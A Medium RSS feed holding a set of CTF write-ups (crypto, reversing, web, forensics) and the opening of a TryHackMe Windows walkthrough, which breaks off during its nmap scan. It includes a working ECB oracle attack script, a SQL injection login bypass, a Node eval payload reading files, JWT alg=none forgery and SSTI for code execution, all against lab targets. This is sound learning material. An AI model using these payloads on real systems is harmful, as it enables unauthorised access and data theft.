<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aderogbarufai on Medium]]></title>
        <description><![CDATA[Stories by Aderogbarufai on Medium]]></description>
        <link>https://medium.com/@devnull-0?source=rss-c6fcd01bea8c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*3C8eCEuK2o0BVY9S</url>
            <title>Stories by Aderogbarufai on Medium</title>
            <link>https://medium.com/@devnull-0?source=rss-c6fcd01bea8c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 22:10:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@devnull-0/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CYSSSA CTF 2026 WRITE-UPS]]></title>
            <link>https://devnull-0.medium.com/cysssa-ctf-2026-write-ups-319dd81c0944?source=rss-c6fcd01bea8c------2</link>
            <guid isPermaLink="false">https://medium.com/p/319dd81c0944</guid>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Aderogbarufai]]></dc:creator>
            <pubDate>Thu, 30 Apr 2026 23:54:02 GMT</pubDate>
            <atom:updated>2026-05-01T14:29:12.643Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*mbW93lcOYFXtf77y4ScKGA.png" /></figure><h3>Challenge name— Notify MEEEEEEEEEEEEEEEEEEEEEEEE!!!!!!!!!</h3><p>Solution: check the notification section and capture your flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*77cHr0yo6tjVUWNb270mxQ.png" /></figure><h3>challenge name— Evidence Locker</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*C2S8nWOnFYyGTjXpx4DpxA.png" /></figure><p>Solution: Download the file and run strings on it <em>strings evidence.bin</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*ghh7mCXLvcj2_ru0BlHP_Q.png" /></figure><h3>Challenge name— TinTok</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*hs7NgZC3KDXvFbIKf0GPmQ.png" /></figure><p>Solution: I navigated to cysssa tiktok page and get the flag from comment on a post</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1MERFYvqlu_2uTv9B-uDiA.png" /></figure><h3>challenge name— find X</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*KQyCYHZny5Q_xyNyCpnzQw.png" /></figure><p>Navigated to CYSSA X page and found the flag under a post</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AfOtf6wPXeFOhqs7Uh4WOA.png" /></figure><h3>Challenge name— Live on IG</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*rIodSrZkPma3vXnqbZ5YPw.png" /></figure><p>Found the flag on one of the CYSSSA posts on IG</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/1*p_bFK2D52FcXGWzvLZdadA.png" /></figure><h3>Challenge name — TinTok 2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*EG-WZM4fF8opaErdIfYHJQ.png" /></figure><p>Follow CYSSSA tiktok page, message the account and got my flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/274/1*2xrGaKBSHeH4a_DZBzXo4w.png" /></figure><h3>Challenge name — Caesar’s Lunch</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*zwSkzdTCo-wBALO_y5t7HQ.png" /></figure><p>This is a caesar cipher, we have to determine the amount of shift made, from my observation the shift was 3</p><blockquote>More detail: We know flag format to be flag{} and we were given iodj{fdhvdu_vkliw_eb_wkuhh_lv_xuo_vdih_qrz} mapping the know flag format: f → i(3 shift backward) l→ o(3 shift backward) a → d(3 shifts forward)</blockquote><p>With this, I navigated to <a href="https://caesar-cipher.com/?mode=decrypt">https://caesar-cipher.com/?mode=decrypt</a> and adjust shift to 3 then get my flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EoK0TNbDGiZBoWtn7xg1qA.png" /></figure><h3>Challenge name — Layer Cake</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*mL3FE0LfVPjkm8B5_wu-hg.png" /></figure><p>Solution: Used <a href="https://www.dcode.fr/cipher-identifier">https://www.dcode.fr/cipher-identifier</a> to identify cipher type, then Cyberchef cook the flag for me</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xEQ9eTGaTUV5z_Ktdy5gHw.png" /></figure><h3>Challenge name — Small e, Smaller m</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*o7I6azGcpQjBiouWaAZFVw.png" /></figure><p>This is a classic <strong>RSA low public exponent attack</strong> (small e=3 with no padding). When e=3 and the message is small enough, m³ &lt; n, c = m³. I can just take the integer cube root of c directly. To do this I use <a href="https://www.dcode.fr/rsa-cipher">https://www.dcode.fr/rsa-cipher</a> , just input n and c in there field and the tool we get it solve</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-nqPbnyUFmiv87ZvvCH3Cw.png" /></figure><h3>Chanllenge name — Shared Modulus</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*X70T7wF7GOUtikS5ggUkQg.png" /></figure><p>This is a <strong>Common Modulus Attack</strong>. When the same message m is encrypted twice under the same n but different exponents, the message can be simply be recovered without the private key.</p><p>The logic — Same flag encrypted twice, same n, different exponents (e1=3, e2=65537).</p><p>Approach — Since gcd(3, 65537)=1, we find s1, s2 where 3.s1 + 65537.s2=1, then c1^s1 . c2^s2 mod n = m</p><p>Script to automate that</p><blockquote>from math import gcd</blockquote><blockquote>def egcd(a, b):<br> if b == 0: return a, 1, 0<br> g, x, y = egcd(b, a % b)<br> return g, y, x — (a // b) * y</blockquote><blockquote>n = 22558781817770772965690266645410055680244469987363900396871723068108954229290484116631913719098238093377290969212537899040735475508526636639511208984105648825337859286622823156146893627864286053425838839643855531350907465787067569358929580580172681158062001217436792007776733143684724646150076759085168526704144908024641818786260433401253527152140276780607800418856644457177791425290904222232083326032403361065661675151823426173108914836480429990722157156095096716062694692621514147716817571845788668003687137593086826397445038961984005611957467566521123385727919831097878212579677337869645765982461707318167743220193<br>e1 = 3<br>e2 = 65537<br>c1 = 233513657126120630106383103928491004781694486664432244680540698968571628261669758959178933237549026520540982922086822226146452241185582353684983956520008093202482261762223560919876548525048002986963010904171201383493955975895403567935815547942617892509978332999661116896783094045188621933964566511994323260051563521404100042047196381031013<br>c2 = 18700958113050097598346305981240435676804122567548970966327057029731960839055393404007457161165222375603233221329729628842902152281941685609290066184713102134569203081110165257534722209097742022254881143833031182714507037071439290587802510394650049893961007010342572130119332848331797016432555661510346325859428428589128658431764976688470147508149594833143087407403289979313515301660694460282226646451729987549307747107576246783737905721976451929262696184068967574794046425709574922259391583812324937749952614291710532340188674300373051454544118852071190582281702593831597632157436606896883329555439316997934419416403</blockquote><blockquote>_, s1, s2 = egcd(e1, e2)<br>if s1 &lt; 0: c1, s1 = pow(c1, -1, n), -s1<br>if s2 &lt; 0: c2, s2 = pow(c2, -1, n), -s2</blockquote><blockquote>m = (pow(c1, s1, n) * pow(c2, s2, n)) % n<br>h = hex(m)[2:]<br>if len(h) % 2: h = ‘0’ + h<br>print(bytes.fromhex(h).decode())</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*NFsgei_iZuUstBRW31ZbWA.png" /></figure><h3><strong>Challenge name — Brain fuck</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*TvrW3RqSPgNXTNsdVXaURg.png" /></figure><p>Copy the fuck and decode with <a href="https://www.dcode.fr/brainfuck-language">https://www.dcode.fr/brainfuck-language</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NXedjOjIp1Os_5Ki7ZInyg.png" /></figure><h3>Challenege Name — ECB Oracle</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*9TM-xxvn5FzG_MvEVP7W1Q.png" /></figure><p>Upon seeing name and description, the challenge is straight forward, it has to do with ERC ORACLE ATTACK</p><p>What is Oracle Attack?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N68jt5gdGEBtKzvOmSdqjQ.png" /></figure><p><strong>The dangerous properties:</strong> <br>Same plaintext block + same key = <strong>always same ciphertext block<br></strong>Because we control the prefix(our input), we can <strong>control where the secret bytes that land inside each block.</strong></p><p>Upon Knowing all this I generated a py script to find the flag length and find the flag for us</p><blockquote>#!/usr/bin/env python3<br>import socket, base64, string</blockquote><blockquote>HOST = “56.228.80.58”<br>PORT = 6000<br>BLOCK = 16<br>CANDIDATES = string.printable.strip().encode()</blockquote><blockquote>def recv_until(s, marker=b”input&gt; “):<br> data = b””<br> while not data.endswith(marker):<br> data += s.recv(4096)<br> return data</blockquote><blockquote>def oracle(s, data: bytes) -&gt; bytes:<br> s.sendall(data + b”\n”)<br> resp = recv_until(s)<br> for line in resp.split(b”\n”):<br> line = line.strip()<br> if line and not line.startswith(b”input”) and not line.startswith(b”===”):<br> try:<br> ct = base64.b64decode(line)<br> if len(ct) % BLOCK == 0:<br> return ct<br> except:<br> continue</blockquote><blockquote>def get_block(ct, n):<br> return ct[n*BLOCK:(n+1)*BLOCK]</blockquote><blockquote>def secret_length(s):<br> base = len(oracle(s, b””))<br> for i in range(1, BLOCK+2):<br> if len(oracle(s, b”A”*i)) &gt; base:<br> return base — i</blockquote><blockquote>with socket.create_connection((HOST, PORT), timeout=120) as s:<br> recv_until(s) # banner</blockquote><blockquote>slen = secret_length(s)<br> print(f”[*] Secret length: {slen}\n”)</blockquote><blockquote>secret = b””<br> for i in range(slen):<br> pad = (BLOCK — 1) — (i % BLOCK)<br> block_num = i // BLOCK</blockquote><blockquote>target = get_block(oracle(s, b”A” * pad), block_num)</blockquote><blockquote>for c in CANDIDATES:<br> if get_block(oracle(s, b”A”*pad + secret + bytes([c])), block_num) == target:<br> secret += bytes([c])<br> print(f”[{i+1}/{slen}] {secret.decode()}”)<br> break</blockquote><blockquote>print(f”\nFLAG: {secret.decode()}”)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O6Y41oNMEvu8SsJnZOZHsQ.png" /></figure><p>Just chill and let the magic happen then you have the full flag</p><h3>Chanllenge name — Packed</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*stsXJYPb-9eF953D1NOj4A.png" /></figure><p>This is rev challenge upon seeing the name, I know the binary is packed. I unpack using upx -d chall then run strings on the unpacked binary to get my flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*IzrMY9U3n-mS_bPjNmBxJA.png" /></figure><h3>challeneg name — Keycheck</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*7cOIOPpk1elgBbcAHyratQ.png" /></figure><p>Solution: I used objdump to disassemble the binary</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*vWeDwnULiZynjyLz7_HKkA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*E3VwmbxVbAYCjQ2F0O3New.png" /></figure><blockquote>Upon analyzing: found that the program requires exactly 46 characters (cmp rax, 0x2e), located the lea rcx, [rip+0xf24] instruction pointing to address 0x2020 in the binary which contains the encoded key then I also noticed the input byte is XORed with 0x42 then compared against stored bytes (xor edx, 0x42). Since I understand the logic and where key is kept, I run xxd -s 0x2020 -l 46 -p chal to dump the 46 encoded byte key</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*F9PSkofa70sLr8K-fNYpkQ.png" /></figure><p>Then I decode using CyberChef with 42 as the XOR key to get my flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mWr-6YlYwLo9zLbHRaDp3g.png" /></figure><h3>Challenge name — PyLock</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*XiFCGUVvXJyl5prDvyGLaA.png" /></figure><p>Solution — I downloaded the chall file, notice it is .pyc(compiled Python bytecode), then I decompile with <a href="https://pylingual.io/">https://pylingual.io/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rYpnpsdYAHDmWqPc8Gfrzg.png" /></figure><p>After decompiling I noticed the code logic then write a python script that reverse it to get the flag</p><blockquote>EXPECTED = [153, 146, 156, 149, 128, 138, 128, 132, 143, 135, 135, 149, 145, 121, 125, 139, 140, 127, 137, 135, 140, 129, 118, 137, 115, 116, 124, 110, 122, 129, 117, 116, 102, 127, 121, 119, 120, 107, 108, 104, 110, 106, 116, 114, 103, 109, 84]</blockquote><blockquote>def solve():<br> res = []</blockquote><blockquote>for i, e in enumerate(EXPECTED):<br> b = (e + i) % 256<br> ch = b ^ 255<br> res.append(chr(ch))</blockquote><blockquote>return “”.join(res)</blockquote><blockquote>if __name__ == “__main__”:<br> flag = solve()<br> print(flag)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*2isP5ER8jnKzDcwR2qP7xQ.png" /></figure><h3>Challenge name — KeyedXor</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*9nmVyopz-tbVOiigly0jzw.png" /></figure><p>Upon dowloading and inspecting the binary, I Notice the binary takes our input and checks if it’s the correct flag. It does this by <strong>XORing our input with a key</strong> and comparing the result to stored bytes.</p><p>Approach - the key and the cipher text which is 45 bytes located as address 0x2020 can be gotten by dumping the .rodata of the program</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*LUPPk0usxtDJw_thf1Yi9A.png" /></figure><p>Now that the key is known, the flag can be gotten by decoding the cipher text</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ITbKTaWhFSIbACL7Nz0jWA.png" /></figure><h3>Challenge name — NovaBlog — Staging</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*i07_Ri1jQx4Q0iI5EM2ovQ.png" /></figure><p>Navigate to the given url in browser and press ctrl+u to view source, then I see my flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z3rrZTsBSD1k-pa9AK8BdQ.png" /></figure><h3>challenge name — LibreWiki</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*tiJ6LfpZDF65Mr8Kqnk9BA.png" /></figure><p>Navigate to <a href="http://56.228.80.58:8002/">http://56.228.80.58:8002/</a>robots.txt — robots.txt always contains file that crawlers ignore</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*Fw2CgTc5f3pgTG_AtlupNg.png" /></figure><p>Then navigate to <a href="http://56.228.80.58:8002/admin-handover-2024.txt">http://56.228.80.58:8002/admin-handover-2024.txt</a> and capture the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*ESfqaa7htAKIV-tg8m_qfw.png" /></figure><h3>Challenge name — PayStub Viewer</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*quxnH6RALR54dDDOdwVvfg.png" /></figure><p>Navigate to <a href="http://56.228.80.58:8006/stub?id=42">http://56.228.80.58:8006/stub?id=42</a> and change ?id=1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NNtOur6kbIHZPC3s6FHi3g.png" /></figure><p>challenge name — Leaker of memory is a real thing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*aFAMCRg6O2YtDmW8AX82QQ.png" /></figure><p>Created a user and login to the instance</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7qzjG8Wma6n4qU-i8kONXQ.png" /></figure><p>Then I view source code and saw some hashes including admin hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7bqxc2U4qrste0zR-49R9Q.png" /></figure><p>Crack the hash with crack station</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EdO1KX9wdU4UmstvTgxYiQ.png" /></figure><p>Then logout and login back with the admin creds to capture my flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RpWRGzyd4TRTcGKHARsbQg.png" /></figure><h3>Challenge name — signIn Mart</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*txsquP_Pl9mKDTEAmRRrfw.png" /></figure><p>Let check through the py code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ps2IP6-wbsBfpDZcEz81HQ.png" /></figure><p>The above code is vulnerable to SQLI because of direct concatenation, this being know I sent a POST req to /login with the payload username=’OR 1=1 — &amp;password=x and get my flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*6mAF5htPjof-llWkuuz59g.png" /></figure><h3>Challenge name — Deadly Evaluation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*XXuJInZ2LlhC0TX9Anepng.png" /></figure><p>Upon Seeing Chall, I know is a code execution bug and this occur because the app pass user input to dangerous func eval()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*MoGMnhyFqawh7MMonIwhCA.png" /></figure><p>I intercept the request and caused an error and I notice node js is in use then I use this knowledge to craft my payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TDLjKaic1cJm6SwnwOciyg.png" /></figure><p>Notice the flag then read it using res.end(require(‘fs’).readFileSync(‘flag.txt’)).toString()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jqturloq9PE7R23d4DXyFQ.png" /></figure><h3>Challenge name — AUth Lab</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*QF42v5S71D9z-tVGNisfPA.png" /></figure><p>This is a classic jwt algorithm confusion</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_GfgTmYY0A1OlXvOAv7iZA.png" /></figure><p>Solution: sign the alg with none</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wg_Bd9zP4XAxnmuMQ7okBg.png" /></figure><p>Then set the new jwt as cookie and get your flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*20xT3kAKQzknuNk7buBjRA.png" /></figure><h3>Challenge name — GreetSmith</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*K1g0UVKFdMjH9CJxgLbjNg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sWdaFyvlCH_4Z23fMjEdLw.png" /></figure><p>Upon seeing template my mind went to SSTI bug. Let’s confirm</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PP3Exwqh-Ks1Au5FJ_5U2w.png" /></figure><p>Before using the above payload I used {{7*7}} with gives 49 then used the above payload to confirm the template is jinja2. Knowing this I then craft my RCE payload to read flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s_DButSG5N8TXIqfVC318w.png" /></figure><h3>Challenge name — Risky</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*4j42RvNyUBXM4koMl20bxw.png" /></figure><p>Flag: flag{Risk_Management}</p><h3>Challenge name — discoveries</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*e4J-XgTIeRJ9oEdF8gDzkA.png" /></figure><p>Got that from fci lautech portal <a href="https://fci.lautech.edu.ng/index.php/hod-s-profile-cs">https://fci.lautech.edu.ng/index.php/hod-s-profile-cs</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eGmPZ7gZu4BdJjinQmo8KA.png" /></figure><p>But some futher Reasearch said she is now a professor: flag: flag{Professor_Olusayo_Deborah_Fenwa}</p><h3>Challenge name — n00b</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*KABcK6rEDmKn4UU4nC-BWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wpBFqWlpSLjPQAve5Jt7DA.png" /></figure><p>unrar the files and use CYSSSA as the password for file output.rar — the password was guessed from hint put in readme.txt</p><p>Then use cyberchef and get flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fMhyxPlYGsnkEX13SvBkug.png" /></figure><h3>Challenge name- runner</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*2QQl-idfGkWo152XTJxYzg.png" /></figure><p>Solution</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0nRZfO3iZeRaFw34ZpnJAQ.png" /></figure><h3><strong>Challenge name — catalyst</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*7xPio_-ek796muyrVv5r_A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k4qUw8INSlK8hds6qhERFg.png" /></figure><p>The challenge is under MISC, after hours of running stego approaches and running in to rabbit holes, I set back and follow the description loyally <br><strong>‘On a straight line”</strong> → read characters aligned vertically then I get the flag by reading the fist character of each line</p><p>flag: flag{IFWTEEWYCAMBTTWABSBF}</p><h3>challenge name — Trailing</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*wDFD-lN1oON2sr_SmJxasw.png" /></figure><p>get my flag using <br>grep -oP ‘[\t ]+$’ journal.txt | tr ‘\t ‘ ‘10’ | tr -d ‘\n’ | perl -lpe ‘$_=pack”B*”,$_’</p><p>The command extracts a hidden flag encoded in <strong>trailing whitespace</strong> at the end of lines in the file. by translating tab \t to 1 and space to 0(tr ‘\t ‘ ‘10’) the (tr -d ‘\n’) remove ASCII then the last part convert binAry to ASCII</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*s6AQYx4lEM0HPgl-rgnBBg.png" /></figure><h3>Challenge name — lowest Sig</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*Jzc5e0Mfr7IGVCwl_g0AzQ.png" /></figure><p>Run zsteg on the image and got my flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*Wv7DFQG4OLD2b3Qq4-k1vw.png" /></figure><h3>Dail Tone</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*5rYh69MRBzNKr-LjeBPmnw.png" /></figure><p>After analyzing the file with audacity and also trying qssstv on it to see if it is ISS stuff, I saw nothing. Then I write extracting the lsb using the script below and I got the flag</p><blockquote>import wave<br>import numpy as np</blockquote><blockquote>with wave.open(‘audio.wav’, ‘rb’) as w:<br> frames = np.frombuffer(w.readframes(w.getnframes()), dtype=np.int16)</blockquote><blockquote># Extract LSBs<br>lsbs = ‘’.join([str(f &amp; 1) for f in frames])</blockquote><blockquote># Convert bits to text (8 bits per char)<br>chars = [chr(int(lsbs[i:i+8], 2)) for i in range(0, 1000, 8)]<br>print(‘’.join(chars))</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*e0FXkpMKlue0qDGkxRiAIw.png" /></figure><h3>Tempo</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*ko7Yb0uBRAsLv9jFPB5o0g.png" /></figure><p>Analyzing the gif: exiftool showed a 2x2 pixel GIF with 328 frames — no visual purpose, so the data must be in the timings</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*IsJm4WMbSa4uJgnvcaBFfQ.png" /></figure><p>Futher inspection of the gif file also show that the <strong>328 frames</strong> as two distinct delay values: 0 and 1. Then raeding those delay in sequence as 8 bits ASCII give the flag. script used:</p><blockquote>import struct</blockquote><blockquote>with open(“anim.gif”, “rb”) as f:<br> data = f.read()</blockquote><blockquote># Extract all frame delays from Graphic Control Extensions<br>delays = []<br>pos = 0<br>while pos &lt; len(data) — 4:<br> if data[pos] == 0x21 and data[pos+1] == 0xF9 and data[pos+2] == 0x04:<br> delay = struct.unpack_from(‘&lt;H’, data, pos+4)[0] * 10 # centiseconds → ms<br> delays.append(delay)<br> pos += 8<br> else:<br> pos += 1</blockquote><blockquote># Map delays to bits (short=0, long=1)<br>unique = sorted(set(delays))<br>binary = ‘’.join(‘0’ if d == unique[0] else ‘1’ for d in delays)</blockquote><blockquote># Decode 8 bits at a time as ASCII<br>result = ‘’.join(<br> chr(int(binary[i:i+8], 2))<br> for i in range(0, len(binary) — 7, 8)<br>)<br>print(result.strip(‘\x00’))</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*IipV8nK9ZJfpty3f1aNPjQ.png" /></figure><p>Some Chall missing? Stay tune for second part</p><p>Have a Question or clarification? reachout on X https://x.com/d3v_nul1_0</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=319dd81c0944" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Relevant — Hacking a window machine in 10 mins]]></title>
            <link>https://devnull-0.medium.com/relevant-hacking-a-window-machine-in-10-mins-473fa7d60918?source=rss-c6fcd01bea8c------2</link>
            <guid isPermaLink="false">https://medium.com/p/473fa7d60918</guid>
            <dc:creator><![CDATA[Aderogbarufai]]></dc:creator>
            <pubDate>Thu, 05 Mar 2026 23:21:42 GMT</pubDate>
            <atom:updated>2026-03-05T23:21:42.338Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi friends it’s being a while my lazy ass publish a write-up here. Being busy with college studies and Bug bounty stuffs. Today I want to make a write up about a window <a href="https://tryhackme.com/room/relevant">machine</a> from THM. Let’s get the hacking started(: —</p><p>Recon First:</p><p>Power up the machine, grab the IP address and I send it to `nmap` to scan:</p><pre>nmap 10.112.157.20 -p- -A -vv -T 4<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-05 22:37 WAT<br>NSE: Loaded 156 scripts for scanning.<br>NSE: Script Pre-scanning.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 22:37<br>Completed NSE at 22:37, 0.00s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 22:37<br>Completed NSE at 22:37, 0.00s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 22:37<br>Completed NSE at 22:37, 0.00s elapsed<br>Initiating Ping Scan at 22:37<br>Scanning 10.112.157.20 [2 ports]<br>Completed Ping Scan at 22:37, 0.16s elapsed (1 total hosts)<br>Initiating Parallel DNS resolution of 1 host. at 22:37<br>Completed Parallel DNS resolution of 1 host. at 22:37, 0.10s elapsed<br>Initiating Connect Scan at 22:37<br>Scanning 10.112.157.20 [65535 ports]<br>Discovered open port 3389/tcp on 10.112.157.20<br>Discovered open port 139/tcp on 10.112.157.20<br>Discovered open port 80/tcp on 10.112.157.20<br>Discovered open port 135/tcp on 10.112.157.20<br>Discovered open port 445/tcp on 10.112.157.20<br>Connect Scan Timing: About 8.52% done; ETC: 22:43 (0:05:33 remaining)<br>Discovered open port 49663/tcp on 10.112.157.20<br>Discovered open port 49666/tcp on 10.112.157.20<br>Stats: 0:01:01 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan<br>Connect Scan Timing: About 21.36% done; ETC: 22:41 (0:03:41 remaining)<br>Connect Scan Timing: About 32.94% done; ETC: 22:41 (0:03:03 remaining)<br>Connect Scan Timing: About 48.83% done; ETC: 22:41 (0:02:06 remaining)<br>Connect Scan Timing: About 59.82% done; ETC: 22:41 (0:01:47 remaining)<br>Connect Scan Timing: About 69.33% done; ETC: 22:41 (0:01:24 remaining)<br>Discovered open port 49667/tcp on 10.112.157.20<br>Connect Scan Timing: About 81.55% done; ETC: 22:41 (0:00:50 remaining)<br>Completed Connect Scan at 22:41, 269.05s elapsed (65535 total ports)<br>Initiating Service scan at 22:41<br>Scanning 8 services on 10.112.157.20<br>Completed Service scan at 22:42, 56.49s elapsed (8 services on 1 host)<br>NSE: Script scanning 10.112.157.20.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 22:42<br>NSE Timing: About 99.91% done; ETC: 22:43 (0:00:00 remaining)<br>Completed NSE at 22:43, 40.22s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.                                                                                                <br>Initiating NSE at 22:43                                                                                                              <br>Completed NSE at 22:43, 0.79s elapsed                                                                                                <br>NSE: Starting runlevel 3 (of 3) scan.                                                                                                <br>Initiating NSE at 22:43                                                                                                              <br>Completed NSE at 22:43, 0.02s elapsed                                                                                                <br>Nmap scan report for 10.112.157.20                                                                                                   <br>Host is up, received syn-ack (0.16s latency).                                                                                        <br>Scanned at 2026-03-05 22:37:17 WAT for 367s                                                                                          <br>Not shown: 65527 filtered tcp ports (no-response)                                                                                    <br>PORT      STATE SERVICE       REASON  VERSION                                                                                        <br>80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0                                                                                             <br>|_http-title: IIS Windows Server                                                                                                                           <br>|_http-server-header: Microsoft-IIS/10.0                                                                                                                   <br>| http-methods:                                                                                                                                            <br>|   Supported Methods: OPTIONS TRACE GET HEAD POST                                                                                                         <br>|_  Potentially risky methods: TRACE                                                                                                                       <br>135/tcp   open  msrpc         syn-ack Microsoft Windows RPC                                                                                                <br>139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn                                                                                        <br>445/tcp   open  microsoft-ds  syn-ack Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: WORKGROUP)                                    <br>3389/tcp  open  ms-wbt-server syn-ack Microsoft 